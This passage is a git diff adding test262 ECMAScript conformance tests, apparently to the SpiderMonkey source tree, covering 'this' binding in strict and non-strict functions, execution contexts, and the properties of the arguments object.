index 000000000..1c07cafc6
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-98-s.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-98-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict Function.prototype.bind(someObject)())
+ * @onlyStrict
+ */
+
+function testcase() {
+var o = {};
+function f() { return this===o;};
+return (function () {"use strict"; return f.bind(o)();})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-98gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-98gs.js
new file mode 100644
index 000000000..c72e9dcc6
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-98gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-98gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict Function.prototype.bind(someObject)())
+ * @onlyStrict
+ */
+
+var o = {};
+function f() { return this===o;};
+if (! ((function () {"use strict"; return f.bind(o)();})())){
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-99-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-99-s.js
new file mode 100644
index 000000000..47b1dac4d
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-99-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-99-s.js
+ * @description Strict Mode - checking 'this' (non-strict function declaration called by strict Function.prototype.bind(globalObject)())
+ * @onlyStrict
+ */
+
+function testcase() {
+function f() { return this===fnGlobalObject();};
+return (function () {"use strict"; return f.bind(fnGlobalObject())();})();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-99gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-99gs.js
new file mode 100644
index 000000000..5e9730d9f
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-99gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-99gs.js
+ * @description Strict - checking 'this' from a global scope (non-strict function declaration called by strict Function.prototype.bind(globalObject)())
+ * @onlyStrict
+ */
+
+function f() { return this===fnGlobalObject();};
+if (! ((function () {"use strict"; return f.bind(fnGlobalObject())();})())){
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-9gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-9gs.js
new file mode 100644
index 000000000..56c150c89
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-9gs.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-9gs.js
+ * @description Strict - checking 'this' from a global scope (FunctionExpression defined within strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+var f = function () {
+ return typeof this;
+}
+if (f() !== "undefined") {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/S10.4.3_A1.js b/js/src/tests/test262/ch10/10.4/10.4.3/S10.4.3_A1.js
new file mode 100644
index 000000000..ea2432219
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/S10.4.3_A1.js
@@ -0,0 +1,16 @@
+// Copyright 2011 Google, Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @path ch10/10.4/10.4.3/S10.4.3_A1.js
+ * @description When calling a strict anonymous function as a
+ * function, "this" should be bound to undefined.
+ * @onlyStrict
+ */
+
+"use strict";
+var that = (function() { return this; })();
+if (that !== undefined) {
+ $ERROR('#1: "this" leaked as: ' + that);
+}
+
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/browser.js b/js/src/tests/test262/ch10/10.4/10.4.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/browser.js
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/shell.js b/js/src/tests/test262/ch10/10.4/10.4.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/shell.js
diff --git a/js/src/tests/test262/ch10/10.4/S10.4A1.1_T2.js b/js/src/tests/test262/ch10/10.4/S10.4A1.1_T2.js
new file mode 100644
index 000000000..080aad06a
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/S10.4A1.1_T2.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Every function call enters a new execution context
+ *
+ * @path ch10/10.4/S10.4A1.1_T2.js
+ * @description Recursive function call
+ */
+
+var y;
+
+function f(a){
+ var x;
+
+ if (a === 1)
+ return x;
+ else {
+ if(x === undefined) {
+ x = 0;
+ } else {
+ x = 1;
+ }
+ return f(1);
+ }
+}
+
+y = f(0);
+
+if(!(y === undefined)){
+ $ERROR("#1: Recursive function calls shares execution context");
+}
+
diff --git a/js/src/tests/test262/ch10/10.4/S10.4_A1.1_T1.js b/js/src/tests/test262/ch10/10.4/S10.4_A1.1_T1.js
new file mode 100644
index 000000000..408d50770
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/S10.4_A1.1_T1.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Every function call enters a new execution context
+ *
+ * @path ch10/10.4/S10.4_A1.1_T1.js
+ * @description Sequence of function calls
+ */
+
+var y;
+
+function f(){
+ var x;
+
+ if(x === undefined) {
+ x = 0;
+ } else {
+ x = 1;
+ }
+
+ return x;
+}
+
+y = f();
+y = f();
+
+if(!(y === 0)){
+ $ERROR("#1: Sequenced function calls shares execution context");
+}
+
diff --git a/js/src/tests/test262/ch10/10.4/browser.js b/js/src/tests/test262/ch10/10.4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/browser.js
diff --git a/js/src/tests/test262/ch10/10.4/shell.js b/js/src/tests/test262/ch10/10.4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/shell.js
diff --git a/js/src/tests/test262/ch10/10.5/10.5-1-s.js b/js/src/tests/test262/ch10/10.5/10.5-1-s.js
new file mode 100644
index 000000000..fc841a5e4
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.5/10.5-1-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.5/10.5-1-s.js
+ * @description Strict Mode - arguments object is immutable
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ (function fun() {
+ eval("arguments = 10");
+ })(30);
+ return false;
+ } catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.5/10.5-1gs.js b/js/src/tests/test262/ch10/10.5/10.5-1gs.js
new file mode 100644
index 000000000..aafbeb333
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.5/10.5-1gs.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch10/10.5/10.5-1gs.js
+ * @description Strict Mode - arguments cannot be assigned to in a strict function
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+
+"use strict";
+throw NotEarlyError;
+
+function f_10_5_1_gs(){
+ arguments = 7;
+}
+
diff --git a/js/src/tests/test262/ch10/10.5/10.5-7-b-1-s.js b/js/src/tests/test262/ch10/10.5/10.5-7-b-1-s.js
new file mode 100644
index 000000000..e1855c7c6
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.5/10.5-7-b-1-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.5/10.5-7-b-1-s.js
+ * @description Strict Mode - arguments object is immutable in eval'ed functions
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("(function _10_5_7_b_1_fun() { arguments = 10;} ());");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.5/10.5-7-b-2-s.js b/js/src/tests/test262/ch10/10.5/10.5-7-b-2-s.js
new file mode 100644
index 000000000..47820009e
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.5/10.5-7-b-2-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.5/10.5-7-b-2-s.js
+ * @description Strict Mode - arguments object index assignment is allowed
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ function _10_5_7_b_2_fun() {
+ arguments[7] = 12;
+ return arguments[7] === 12;
+ };
+
+ return _10_5_7_b_2_fun(30);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.5/10.5-7-b-3-s.js b/js/src/tests/test262/ch10/10.5/10.5-7-b-3-s.js
new file mode 100644
index 000000000..4f4a66dcd
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.5/10.5-7-b-3-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.5/10.5-7-b-3-s.js
+ * @description Strict Mode - Adding property to the arguments object successful under strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ function _10_5_7_b_3_fun() {
+ arguments[1] = 12;
+ return arguments[0] = 30 && arguments[1] === 12;
+ };
+
+ return _10_5_7_b_3_fun(30);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.5/10.5-7-b-4-s.js b/js/src/tests/test262/ch10/10.5/10.5-7-b-4-s.js
new file mode 100644
index 000000000..c695446b4
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.5/10.5-7-b-4-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.5/10.5-7-b-4-s.js
+ * @description Strict Mode - Deleting property of the arguments object successful under strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ function _10_5_7_b_4_fun() {
+ var _10_5_7_b_4_1 = arguments[0] === 30 && arguments[1] === 12;
+ delete arguments[1];
+ var _10_5_7_b_4_2 = arguments[0] === 30 && typeof arguments[1] === "undefined";
+ return _10_5_7_b_4_1 && _10_5_7_b_4_2;
+ };
+ return _10_5_7_b_4_fun(30, 12);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.5/browser.js b/js/src/tests/test262/ch10/10.5/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.5/browser.js
diff --git a/js/src/tests/test262/ch10/10.5/shell.js b/js/src/tests/test262/ch10/10.5/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.5/shell.js
diff --git a/js/src/tests/test262/ch10/10.6/10.6-10-c-ii-1-s.js b/js/src/tests/test262/ch10/10.6/10.6-10-c-ii-1-s.js
new file mode 100644
index 000000000..dcc3c49f9
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-10-c-ii-1-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-10-c-ii-1-s.js
+ * @description arguments[i] remains same after changing actual parameters in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ function foo(a,b,c)
+ {
+ 'use strict';
+ a = 1; b = 'str'; c = 2.1;
+ return (arguments[0] === 10 && arguments[1] === 'sss' && arguments[2] === 1);
+ }
+ return foo(10, 'sss', 1);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-10-c-ii-1.js b/js/src/tests/test262/ch10/10.6/10.6-10-c-ii-1.js
new file mode 100644
index 000000000..f0db64ee2
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-10-c-ii-1.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-10-c-ii-1.js
+ * @description arguments[i] change with actual parameters
+ */
+
+
+function testcase() {
+ function foo(a,b,c)
+ {
+ a = 1; b = 'str'; c = 2.1;
+ if(arguments[0] === 1 && arguments[1] === 'str' && arguments[2] === 2.1)
+ return true;
+ }
+ return foo(10,'sss',1);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-10-c-ii-2-s.js b/js/src/tests/test262/ch10/10.6/10.6-10-c-ii-2-s.js
new file mode 100644
index 000000000..58143f841
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-10-c-ii-2-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-10-c-ii-2-s.js
+ * @description arguments[i] doesn't map to actual parameters in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ function foo(a,b,c)
+ {
+ 'use strict';
+ arguments[0] = 1; arguments[1] = 'str'; arguments[2] = 2.1;
+ return 10 === a && 'sss' === b && 1 === c;
+ }
+ return foo(10,'sss',1);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-10-c-ii-2.js b/js/src/tests/test262/ch10/10.6/10.6-10-c-ii-2.js
new file mode 100644
index 000000000..5891dfe3b
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-10-c-ii-2.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-10-c-ii-2.js
+ * @description arguments[i] map to actual parameter
+ */
+
+
+function testcase() {
+
+ function foo(a,b,c)
+ {
+ arguments[0] = 1; arguments[1] = 'str'; arguments[2] = 2.1;
+ if(1 === a && 'str' === b && 2.1 === c)
+ return true;
+ }
+ return foo(10,'sss',1);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-11-b-1.js b/js/src/tests/test262/ch10/10.6/10.6-11-b-1.js
new file mode 100644
index 000000000..bcf937d63
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-11-b-1.js
@@ -0,0 +1,54 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-11-b-1.js
+ * @description Arguments Object has index property '0' as its own property, it shoulde be writable, enumerable, configurable and does not invoke the setter defined on Object.prototype[0] (Step 11.b)
+ */
+
+
+function testcase() {
+ try {
+ var data = "data";
+ var getFunc = function () {
+ return data;
+ };
+
+ var setFunc = function (value) {
+ data = value;
+ };
+
+ Object.defineProperty(Object.prototype, "0", {
+ get: getFunc,
+ set: setFunc,
+ configurable: true
+ });
+
+ var argObj = (function () { return arguments })(1);
+
+ var verifyValue = false;
+ verifyValue = (argObj[0] === 1);
+
+ var verifyEnumerable = false;
+ for (var p in argObj) {
+ if (p === "0" && argObj.hasOwnProperty("0")) {
+ verifyEnumerable = true;
+ }
+ }
+
+ var verifyWritable = false;
+ argObj[0] = 1001;
+ verifyWritable = (argObj[0] === 1001);
+
+ var verifyConfigurable = false;
+ delete argObj[0];
+ verifyConfigurable = argObj.hasOwnProperty("0");
+
+ return verifyValue && verifyWritable && verifyEnumerable && !verifyConfigurable && data === "data";
+ } finally {
+ delete Object.prototype[0];
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-12-1.js b/js/src/tests/test262/ch10/10.6/10.6-12-1.js
new file mode 100644
index 000000000..12746eb1e
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-12-1.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-12-1.js
+ * @description Accessing callee property of Arguments object is allowed
+ */
+
+
+function testcase() {
+ try
+ {
+ arguments.callee;
+ return true;
+ }
+ catch (e) {
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-12-2.js b/js/src/tests/test262/ch10/10.6/10.6-12-2.js
new file mode 100644
index 000000000..11a1793f4
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-12-2.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-12-2.js
+ * @description arguments.callee has correct attributes
+ */
+
+
+function testcase() {
+
+ var desc = Object.getOwnPropertyDescriptor(arguments,"callee");
+ if(desc.configurable === true &&
+ desc.enumerable === false &&
+ desc.writable === true &&
+ desc.hasOwnProperty('get') == false &&
+ desc.hasOwnProperty('put') == false)
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-13-1.js b/js/src/tests/test262/ch10/10.6/10.6-13-1.js
new file mode 100644
index 000000000..d871a9ccb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-13-1.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-13-1.js
+ * @description Accessing caller property of Arguments object is allowed
+ */
+
+
+function testcase() {
+ try
+ {
+ arguments.caller;
+ return true;
+ }
+ catch (e) {
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-13-a-1.js b/js/src/tests/test262/ch10/10.6/10.6-13-a-1.js
new file mode 100644
index 000000000..a7b3f2ee6
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-13-a-1.js
@@ -0,0 +1,45 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-13-a-1.js
+ * @description In non-strict mode, arguments object should have its own 'callee' property defined (Step 13.a)
+ */
+
+
+function testcase() {
+ try {
+ Object.defineProperty(Object.prototype, "callee", {
+ value: 1,
+ writable: false,
+ configurable: true
+ });
+
+ var argObj = (function () { return arguments })();
+
+ var verifyValue = false;
+ verifyValue = typeof argObj.callee === "function";
+
+ var verifyWritable = false;
+ argObj.callee = 1001;
+ verifyWritable = (argObj.callee === 1001);
+
+ var verifyEnumerable = false;
+ for (var p in argObj) {
+ if (p === "callee" && argObj.hasOwnProperty("callee")) {
+ verifyEnumerable = true;
+ }
+ }
+
+ var verifyConfigurable = false;
+ delete argObj.callee;
+ verifyConfigurable = argObj.hasOwnProperty("callee");
+
+ return verifyValue && verifyWritable && !verifyEnumerable && !verifyConfigurable;
+ } finally {
+ delete Object.prototype.callee;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-13-a-2.js b/js/src/tests/test262/ch10/10.6/10.6-13-a-2.js
new file mode 100644
index 000000000..b68171258
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-13-a-2.js
@@ -0,0 +1,35 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-13-a-2.js
+ * @description A direct call to arguments.callee.caller should work
+ */
+
+
+function testcase() {
+ var called = false;
+
+ function test1(flag) {
+ if (flag!==true) {
+ test2();
+ } else {
+ called = true;
+ }
+ }
+
+ function test2() {
+ if(arguments.callee.caller===undefined) {
+ called=true; // Extension not supported - fake it
+ } else {
+ arguments.callee.caller(true);
+ }
+ }
+
+ test1();
+ return called;
+}
+
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.6/10.6-13-a-3.js b/js/src/tests/test262/ch10/10.6/10.6-13-a-3.js
new file mode 100644
index 000000000..ddd03a68c
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-13-a-3.js
@@ -0,0 +1,36 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-13-a-3.js
+ * @description An indirect call to arguments.callee.caller should work
+ */
+
+
+function testcase() {
+ var called = false;
+
+ function test1(flag) {
+ if (flag!==true) {
+ test2();
+ } else {
+ called = true;
+ }
+ }
+
+ function test2() {
+ if (arguments.callee.caller===undefined) {
+ called = true; //Extension not supported - fake it
+ } else {
+ var explicit = arguments.callee.caller;
+ explicit(true);
+ }
+ }
+
+ test1();
+ return called;
+}
+
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.6/10.6-13-b-1-s.js b/js/src/tests/test262/ch10/10.6/10.6-13-b-1-s.js
new file mode 100644
index 000000000..d44b475af
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-13-b-1-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-13-b-1-s.js
+ * @description Accessing caller property of Arguments object throws TypeError in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+ try
+ {
+ arguments.caller;
+ }
+ catch (e) {
+ if(e instanceof TypeError)
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-13-b-2-s.js b/js/src/tests/test262/ch10/10.6/10.6-13-b-2-s.js
new file mode 100644
index 000000000..0f1b2b764
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-13-b-2-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-13-b-2-s.js
+ * @description arguments.caller exists in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ 'use strict';
+ var desc = Object.getOwnPropertyDescriptor(arguments,"caller");
+ return desc!== undefined;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-13-b-3-s.js b/js/src/tests/test262/ch10/10.6/10.6-13-b-3-s.js
new file mode 100644
index 000000000..d85e084f1
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-13-b-3-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-13-b-3-s.js
+ * @description arguments.caller is non-configurable in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ 'use strict';
+ var desc = Object.getOwnPropertyDescriptor(arguments,"caller");
+
+ return (desc.configurable === false &&
+ desc.enumerable === false &&
+ desc.hasOwnProperty('value') == false &&
+ desc.hasOwnProperty('writable') == false &&
+ desc.hasOwnProperty('get') == true &&
+ desc.hasOwnProperty('set') == true);
+
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.6/10.6-13-c-1-s.js b/js/src/tests/test262/ch10/10.6/10.6-13-c-1-s.js
new file mode 100644
index 000000000..f17a9b37b
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.6/10.6-13-c-1-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.6/10.6-13-c-1-s.js
